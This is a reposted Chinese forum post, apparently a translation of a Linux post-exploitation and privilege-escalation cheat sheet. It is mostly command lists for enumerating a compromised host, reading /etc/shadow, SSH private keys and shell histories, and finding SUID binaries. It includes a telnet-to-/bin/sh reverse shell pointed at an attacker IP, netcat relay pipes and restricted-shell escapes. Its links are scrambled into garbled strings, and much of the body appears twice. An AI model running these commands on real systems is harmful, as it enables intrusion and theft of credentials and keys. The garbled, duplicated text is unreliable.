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[转帖]史上最全Linux提权后获取敏感信息方法
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发表于: 2014-2-8 10:17 594
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连接地址：edbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8Y4y4&6M7%4c8W2L8g2)9J5c8U0t1K6z5e0V1K6i4K6u0W2K9s2c8E0L8l9`.`.
正文：
在本文开始之前，我想指出我不是专家。据我所知，在这个庞大的区域,没有一个“神奇”的答案.分享，共享（我的出发点）。下面是一个混合的命令做同样的事情，在不同的地方，或只是一个不同的眼光来看待事物。我知道有更多的“东西”去寻找。这只是一个基本粗略的指南。并不是每一个命令，做好要注重细节.
文中的每行为一条命令，文中有的命令可能在你的主机上敲不出来，因为它可能是在其他版本的linux中所使用的命令。
列举关键点
（Linux）的提权是怎么一回事：
收集 – 枚举，枚举和一些更多的枚举。
过程 – 通过数据排序，分析和确定优先次序。
搜索 – 知道搜索什么和在哪里可以找到漏洞代码。
适应 – 自定义的漏洞，所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
尝试 – 做好准备,试验和错误。
系统类型
系统是什么版本?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
它的内核版本是什么？
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
它的环境变量里有些什么？
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
是否有台打印机？
lpstat -a
应用与服务
正在运行什么服务？什么样的服务具有什么用户权限？
ps aux
ps -ef
top
cat /etc/service
哪些服务具有root的权限？这些服务里你看起来那些有漏洞,进行再次检查！
ps aux | grep root
ps -ef | grep root
安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
Service设置，有任何的错误配置吗？是否有任何（脆弱的）的插件？
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
主机上有哪些工作计划？
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
主机上可能有哪些纯文本用户名和密码?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信与网络
NIC(s)，系统有哪些？它是连接到哪一个网络？
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
其他用户主机与系统的通信？
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
缓存？IP和/或MAC地址?
arp -e
route
/sbin/route -nee
数据包可能嗅探吗？可以看出什么？监听流量
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你如何get一个shell？你如何与系统进行交互？
# 2d6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4S2L8X3#2S2M7%4c8W2M7U0f1K6i4K6u0W2j5$3!0E0i4K6u0r3x3U0l9I4x3g2)9J5c8U0l9#2i4K6u0r3y4#2)9J5k6r3I4A6L8Y4g2^5i4K6u0V1M7$3S2W2L8r3I4K6i4K6u0V1N6i4y4A6L8X3N6Q4x3X3c8T1N6h3W2D9N6q4)9J5k6r3W2F1i4K6u0V1N6r3!0G2L8s2y4Q4x3V1j5`.
nc -lvp 4444 # Attacker. 输入 (命令)
nc -lvp 4445 # Attacker. 输出(结果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!
如何端口转发？（端口重定向）
# rinetd
# e10K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2G2N6%4c8G2k6X3!0J5k6$3g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3L8%4u0@1i4K6u0V1k6X3!0J5N6$3q4J5k6r3W2F1k6#2)9J5k6s2N6A6N6r3S2Q4x3X3c8J5K9h3&6W2N6r3c8Q4x3X3c8G2L8W2)9J5k6r3c8W2j5X3W2S2L8W2)9J5k6r3g2@1j5$3R3`.
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod
backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc
localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
建立隧道可能吗？本地，远程发送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
秘密信息和用户
你是谁？哪个id登录？谁已经登录？还有谁在这里？谁可以做什么呢？
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
可以找到什么敏感文件？
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
什么有趣的文件在home/directorie（S）里？如果有权限访问
ls -ahlR /root/
ls -ahlR /home/
是否有任何密码，脚本，数据库，配置文件或日志文件？密码默认路径和位置
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
用户做过什么？是否有任何密码呢？他们有没有编辑什么？
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
可以找到什么样的用户信息
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
private-key 信息能否被发现？
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
文件系统
哪些用户可以写配置文件在/ etc /？能够重新配置服务？
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有什么可以发现？
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
网站上的任何隐藏配置/文件?配置文件与数据库信息？
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
有什么在日志文件里?（什么能够帮助到“本地文件包含”?)
# 5faK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8Z5k6h3N6W2k6h3E0K6N6s2g2X3k6W2)9J5k6h3y4G2L8g2)9J5c8U0t1H3x3e0q4Q4x3V1j5H3z5q4)9J5c8X3I4A6L8Y4g2^5i4K6u0V1N6X3q4J5i4K6u0V1L8r3!0Y4i4K6u0V1k6X3W2D9k6i4y4Q4x3V1j5`.
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
#
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)
如果命令限制，你可以打出哪些突破它的限制？
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
如何安装文件系统？
mount
df -h
是否有挂载的文件系统？
cat /etc/fstab
什么是高级Linux文件权限使用？Sticky bits, SUID 和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #
Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目录可以写入和执行呢？几个“共同”的目录：/ tmp目录，/var / tmp目录/ dev /shm目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders
Any "problem" files？可写的的，“没有使用"的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
准备和查找漏洞利用代码
安装了什么开发工具/语言/支持？
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
如何上传文件？
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
查找exploit代码
122K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8b7`.`.
187K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5K6x3K6N6V1j5i4W2Q4x3X3g2U0L8$3@1`.
129K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4W2j5%4g2J5K9i4c8W2j5h3#2Q4x3X3g2U0L8$3@1`.
f39K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4W2j5%4g2J5K9i4c8&6k6X3!0U0N6i4y4Q4x3X3g2U0L8$3@1`.
a94K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8K6k6h3q4J5j5$3S2Q4x3X3g2F1k6i4b7`.
38cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2W2N6r3q4K6M7r3I4G2K9i4c8Q4x3X3g2U0L8$3#2Q4x3V1k6E0L8$3c8#2L8r3g2K6i4K6u0r3
612K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6M7X3g2S2M7$3!0F1i4K6u0W2j5$3!0E0
1fbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5$3I4A6M7%4c8K6i4K6u0W2L8%4u0Y4i4K6u0r3k6Y4g2D9L8r3c8A6M7$3y4D9L8%4y4#2M7X3g2Q4x3V1j5`.
25eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6G2L8$3N6D9k6g2)9J5k6h3y4G2L8b7`.`.
查找更多有关漏洞的信息
b57K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4$3k6h3c8W2N6r3q4A6L8s2y4Q4x3X3g2U0L8$3@1`.
944K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2j5$3E0W2N6s2y4@1L8%4u0E0M7$3g2U0N6i4u0A6N6s2W2Q4x3X3g2G2M7X3N6Q4x3V1k6X3K9h3I4W2M7#2)9J5c8X3y4$3k6g2)9J5c8W2)9#2b7V1y4h3c8g2)9#2c8l9`.`.
5baK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4$3k6g2)9J5k6h3#2A6N6s2u0W2i4K6u0W2L8%4u0Y4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4k6W2L8X3q4E0k6g2)9J5k6h3y4Y4K9g2)9K6c8X3&6S2L8h3g2Q4x3@1c8Q4y4f1u0o6g2V1g2Q4y4f1c8Q4y4f1c8Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3j5%4k6W2i4K6u0W2L8h3W2@1M7X3g2Q4x3X3g2G2M7X3N6Q4x3V1k6U0k6$3W2Q4x3X3c8T1K9h3&6Q4x3V1k6U0N6X3g2F1j5h3#2W2i4K6u0W2j5$3N6A6i4K6y4r3L8X3q4E0k6g2)9K6c8q4)9#2b7V1y4h3c8g2)9#2c8l9`.`.
66eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4k6#2L8r3&6$3K9h3g2%4i4K6u0W2j5$3!0E0i4K6u0r3j5%4k6W2i4K6u0V1k6r3g2@1j5h3W2D9M7#2)9J5k6i4m8Z5M7q4)9K6c8X3y4$3k6h3&6S2L8h3g2Q4x3@1c8Q4y4f1u0o6g2V1g2Q4y4f1c8Q4y4f1c8Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3N6%4N6%4i4K6u0W2N6Y4g2D9L8Y4k6A6k6i4N6Q4x3X3g2U0L8$3#2Q4x3V1k6U0N6X3g2Q4x3X3c8V1k6i4c8S2K9h3I4K6i4K6u0W2M7r3S2H3i4K6y4r3j5%4k6W2L8X3q4E0k6g2)9K6c8q4)9#2b7V1y4h3c8g2)9#2c8l9`.`.
0c1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0V1I4M7X3W2Q4x3X3g2G2M7X3N6Q4x3V1j5`.
(快速）“共同的“exploit,预编译二进制代码文件
0caK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8S2M7X3q4F1N6s2g2D9j5g2)9J5k6h3u0&6i4K6u0W2M7Y4g2Q4x3V1k6D9L8$3y4S2L8s2u0G2L8%4c8Q4x3V1j5`.
53aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3E0W2j5$3g2H3j5i4c8S2L8W2)9J5k6e0j5$3k6$3S2*7i4K6u0W2j5$3!0E0i4K6u0r3k6X3W2D9k6g2)9J5c8X3I4G2j5$3q4D9i4K6u0V1M7X3!0G2N6q4)9J5k6r3g2^5M7r3I4G2K9i4c8Q4x3X3c8H3M7X3W2$3z5g2)9J5c8R3`.`.
上面的信息很难吗？
快去使用第三方脚本/工具来试试吧！
系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？
apt-get update && apt-get upgrade
yum update
服务运行所需的最低的权限？
例如，你需要以root身份运行MySQL？
能够从以下网站找到自动运行的脚本？！
8eeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8W2L8Y4c8W2M7%4c8E0L8$3&6C8k6i4W2Q4x3X3g2F1k6i4c8Q4x3V1k6@1L8$3!0D9M7#2)9J5c8Y4g2F1K9i4S2Q4x3X3c8H3M7X3W2$3k6i4y4U0i4K6u0V1j5$3S2W2j5$3E0Q4x3V1j5`.
8b8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4S2j5Y4y4Q4x3X3g2H3L8%4u0@1j5%4g2D9L8r3W2K6i4K6u0W2j5$3!0Q4x3X3g2#2K9#2)9J5c8X3q4H3M7r3I4A6j5$3q4@1K9h3!0F1i4K6u0r3k6h3&6#2L8e0c8D9K9h3&6#2P5q4)9J5c8R3`.`.
aa5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2M7%4c8A6L8r3I4W2i4K6u0V1L8r3W2F1N6i4S2Q4x3X3g2K6L8%4g2J5j5$3g2X3L8%4u0Y4k6g2)9J5k6h3&6W2N6l9`.`.
（快速）指南和链接
例如
818K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0m8V1j5i4W2K6k6h3y4#2M7X3W2@1P5g2)9J5k6h3y4G2L8g2)9J5c8Y4m8W2L8X3g2@1M7X3q4@1K9h3!0F1i4K6u0V1N6r3g2K6N6r3W2F1k6#2)9J5c8X3g2F1N6h3#2W2M7X3q4@1K9h3!0F1i4K6u0W2K9s2c8E0L8l9`.`.
e43K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2A6j5%4u0G2L8r3!0X3N6q4)9J5k6h3y4G2i4K6u0W2N6h3E0Q4x3V1k6Z5j5h3y4C8K9h3&6Y4i4K6u0r3K9r3q4U0K9$3W2F1k6K6y4Q4x3X3g2Z5N6r3@1`.
其他
e79K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3A6G2L8W2)9J5k6h3!0T1k6i4u0Z5k6h3W2V1k6g2)9J5k6h3!0J5k6#2)9J5c8X3k6A6L8r3g2K6i4K6u0r3M7%4c8S2j5$3E0B7j5h3y4C8K9h3&6Y4i4K6u0V1K9h3&6X3K9h3I4@1M7X3q4@1k6e0p5I4i4K6u0W2M7r3c8X3
1d0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8W2L8Y4c8W2M7%4c8Q4x3X3g2U0M7Y4W2H3N6r3!0U0K9i4c8&6i4K6u0W2L8X3g2@1i4K6u0r3k6X3W2D9k6i4y4Q4x3V1k6U0L8r3W2W2L8Y4c8K6K9h3c8W2M7#2)9J5c8Y4m8G2M7%4c8Q4y4h3k6W2P5s2m8D9L8$3W2@1j5i4c8A6L8$3&6Q4y4h3k6X3j5h3I4D9x3o6W2Q4x3X3g2H3k6r3j5`.
755K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3W2F1M7$3W2V1k6i4c8J5N6i4y4@1i4K6u0W2j5X3I4G2k6%4y4H3L8%4c8Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5I4i4K6u0r3x3o6c8Q4x3V1k6I4N6h3W2U0K9#2)9J5k6r3N6#2K9h3c8W2i4K6u0V1N6r3!0Q4x3X3c8D9K9h3&6#2P5q4)9J5k6s2m8J5K9i4k6A6L8r3g2Y4k6g2)9J5k6h3S2@1L8h3H3`.
正文：
在本文开始之前，我想指出我不是专家。据我所知，在这个庞大的区域,没有一个“神奇”的答案.分享，共享（我的出发点）。下面是一个混合的命令做同样的事情，在不同的地方，或只是一个不同的眼光来看待事物。我知道有更多的“东西”去寻找。这只是一个基本粗略的指南。并不是每一个命令，做好要注重细节.
文中的每行为一条命令，文中有的命令可能在你的主机上敲不出来，因为它可能是在其他版本的linux中所使用的命令。
列举关键点
（Linux）的提权是怎么一回事：
收集 – 枚举，枚举和一些更多的枚举。
过程 – 通过数据排序，分析和确定优先次序。
搜索 – 知道搜索什么和在哪里可以找到漏洞代码。
适应 – 自定义的漏洞，所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
尝试 – 做好准备,试验和错误。
系统类型
系统是什么版本?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
它的内核版本是什么？
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
它的环境变量里有些什么？
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
是否有台打印机？
lpstat -a
应用与服务
正在运行什么服务？什么样的服务具有什么用户权限？
ps aux
ps -ef
top
cat /etc/service
哪些服务具有root的权限？这些服务里你看起来那些有漏洞,进行再次检查！
ps aux | grep root
ps -ef | grep root
安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
Service设置，有任何的错误配置吗？是否有任何（脆弱的）的插件？
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
主机上有哪些工作计划？
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
主机上可能有哪些纯文本用户名和密码?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信与网络
NIC(s)，系统有哪些？它是连接到哪一个网络？
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
其他用户主机与系统的通信？
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
缓存？IP和/或MAC地址?
arp -e
route
/sbin/route -nee
数据包可能嗅探吗？可以看出什么？监听流量
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你如何get一个shell？你如何与系统进行交互？
# 2d6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4S2L8X3#2S2M7%4c8W2M7U0f1K6i4K6u0W2j5$3!0E0i4K6u0r3x3U0l9I4x3g2)9J5c8U0l9#2i4K6u0r3y4#2)9J5k6r3I4A6L8Y4g2^5i4K6u0V1M7$3S2W2L8r3I4K6i4K6u0V1N6i4y4A6L8X3N6Q4x3X3c8T1N6h3W2D9N6q4)9J5k6r3W2F1i4K6u0V1N6r3!0G2L8s2y4Q4x3V1j5`.
nc -lvp 4444 # Attacker. 输入 (命令)
nc -lvp 4445 # Attacker. 输出(结果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!
如何端口转发？（端口重定向）
# rinetd
# e10K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2G2N6%4c8G2k6X3!0J5k6$3g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3L8%4u0@1i4K6u0V1k6X3!0J5N6$3q4J5k6r3W2F1k6#2)9J5k6s2N6A6N6r3S2Q4x3X3c8J5K9h3&6W2N6r3c8Q4x3X3c8G2L8W2)9J5k6r3c8W2j5X3W2S2L8W2)9J5k6r3g2@1j5$3R3`.
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod
backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc
localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
建立隧道可能吗？本地，远程发送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
秘密信息和用户
你是谁？哪个id登录？谁已经登录？还有谁在这里？谁可以做什么呢？
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
可以找到什么敏感文件？
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
什么有趣的文件在home/directorie（S）里？如果有权限访问
ls -ahlR /root/
ls -ahlR /home/
是否有任何密码，脚本，数据库，配置文件或日志文件？密码默认路径和位置
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
用户做过什么？是否有任何密码呢？他们有没有编辑什么？
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
可以找到什么样的用户信息
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
private-key 信息能否被发现？
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
文件系统
哪些用户可以写配置文件在/ etc /？能够重新配置服务？
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有什么可以发现？
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
网站上的任何隐藏配置/文件?配置文件与数据库信息？
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
有什么在日志文件里?（什么能够帮助到“本地文件包含”?)
